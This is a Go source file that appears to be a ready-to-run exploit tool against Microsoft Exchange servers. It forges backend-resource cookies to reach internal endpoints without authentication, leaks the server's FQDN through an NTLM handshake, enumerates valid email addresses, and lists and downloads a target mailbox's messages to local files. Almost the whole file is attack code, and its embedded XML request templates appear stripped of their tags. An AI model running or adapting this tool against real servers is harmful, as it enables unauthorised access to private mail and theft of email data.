package main
import (
"crypto/tls"
"flag"
"fmt"
"time"
"io"
"io/ioutil"
"net/http"
//"net/url"
"os"
"strings"
"regexp"
"encoding/base64"
"bufio"
"strconv"
)
//Detecting vulnerability existence script
func Verify(targetUrl string) bool {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
resp, _ := client.Do(req)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "NegotiateSecurityContext") {
return true
} else {
return false
}
}
func append16(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8))
}
func append32(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
}
const (
negotiateUnicode = 0x0001 // Text strings are in unicode
negotiateOEM = 0x0002 // Text strings are in OEM
requestTarget = 0x0004 // Server return its auth realm
negotiateSign = 0x0010 // Request signature capability
negotiateSeal = 0x0020 // Request confidentiality
negotiateLMKey = 0x0080 // Generate session key
negotiateNTLM = 0x0200 // NTLM authentication
negotiateLocalCall = 0x4000 // client/server on same machine
negotiateAlwaysSign = 0x8000 // Sign for all security levels
)
//Generate NTLM Type1
func Negotiate() []byte {
var ret []byte
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
ret = append(ret, "NTLMSSP\x00"...) // protocol
ret = append32(ret, 1) // type
ret = append32(ret, uint16(flags)) // flags
ret = append16(ret, 0) // NT domain name length
ret = append16(ret, 0) // NT domain name max length
ret = append32(ret, 0) // NT domain name offset
ret = append16(ret, 0) // local workstation name length
ret = append16(ret, 0) // local workstation name max length
ret = append32(ret, 0) // local workstation name offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
return ret
}
//Get effective information FQDN with NTLM TYPE2
func Ntlminfo(targetUrl string) (fqdn string, domain string) {
//var fqdn string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
req.Header.Add("Accept","text/xml")
resp, _ := client.Do(req)
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
for _, values := range resp.Header {
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
if type2 != "" {
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
}
}
return
}
func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
//urlProxy, _ := url.Parse("http://127.0.0.1:8123")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
//Proxy: http.ProxyURL(urlProxy),
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
req.Header.Add("Content-Type", "text/xml")
//fmt.Println(req)
resp2, _ := client.Do(req)
//defer resp2.Body.Close()
body2, _ := ioutil.ReadAll(resp2.Body)
return string(body2)
}
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
fmt.Println(userfile)
ufile, err := os.Open(userfile)
if err != nil {
fmt.Println("File error")
os.Exit(0)
}
defer ufile.Close()
fmt.Println("Correct email address: \n")
br := bufio.NewReader(ufile)
for {
name, _, c := br.ReadLine()
if c == io.EOF {
fmt.Println("\nComplete ")
break
}
if strings.Contains(string(name), "@") {
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("Email address %s is incorrect ", string(name)))
}else {
fmt.Println(string(name))
}
}else{
address := fmt.Sprintf("%s@%s", string(name), domainneame)
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("Email address %s is incorrect ", address))
}else {
fmt.Println(address)
}
}
time.Sleep(time.Duration(stime)*time.Second)
}
}
func makefile(fileName string, conntent string) {
f, err := os.Create(fileName)
defer f.Close()
if err != nil {
fmt.Println(err.Error())
} else {
_, _ = f.Write([]byte(conntent))
}
}
func main(){
var maddress string
host := flag.String("h", "", "String required, target address or domain name")
filepath := flag.String("U", "", "String options, users who need enumerations")
stime := flag.String("t", "1", "String option, request delay time Default 1")
desfqnd := flag.String("n", "", "String option, you need to specify FQND")
list := flag.Bool("l", false, "Optional, Listing Mail")
emailadd := flag.String("u", "administrator", "string option, designated target, Default administrator")
downl := flag.Bool("d", false, "Optional, download mail")
flag.Parse()
targetUrl := fmt.Sprintf("https://%s/owa/auth/x.js", *host)
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
sleep_time, _ := strconv.Atoi(*stime)
if *host == "" {
fmt.Println("Please enter the target IP address ")
os.Exit(0)
}
fmt.Println("Test the existence of the vulnerability ...")
if Verify(targetUrl) == true {
fmt.Println("Vulnerability exists ... Continue ")
}else{
fmt.Println("Vulnerability does not exist ... END")
os.Exit(0)
}
mailnum := `
Default
%s
`
maillist := `
AllProperties
%s
`
download := `
AllProperties
Text
`
fqndstr, domainstr := Ntlminfo(ewsUrl)
fmt.Println("Target FQND: ", fqndstr)
if *filepath != "" {
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
}
if *desfqnd != "" {
fqndstr = *desfqnd
}
if strings.Contains(*emailadd, "@") {
maddress = *emailadd
}else{
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
}
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
//fmt.Println(str)
if strings.Contains(str, maddress) {
fmt.Println(fmt.Sprintf("The email address %s is incorrect, please re-enter ", maddress))
}else if strings.Contains(str, "Success") {
reg01 := regexp.MustCompile(`()(.+)()`)
reg02 := regexp.MustCompile(`|`)
mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
fmt.Println("User", maddress, "The number of mail in the inbox in the mailbox is: ", mnum)
if *list == true {
if mnum != "0"{
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
reg_sub := regexp.MustCompile(`(?:)(.+?)(?:)`)
id := reg_id.FindAllStringSubmatch(contents, -1)
key := reg_key.FindAllStringSubmatch(contents, -1)
subject := reg_sub.FindAllStringSubmatch(contents, -1)
for i := 0; i < 5 ; i++{
fmt.Println("---------")
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1])
fmt.Println()
}
if *downl == true {
for i := 0; i < 5 ; i++{
fmt.Println("Downloading ", i," Email")
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
}
fmt.Println("Download completed")
}
}else{
fmt.Println("Target mailbox no email! ")
}
}
}else{
fmt.Println("Default FQDN invalid, please specify other servers ")
}
}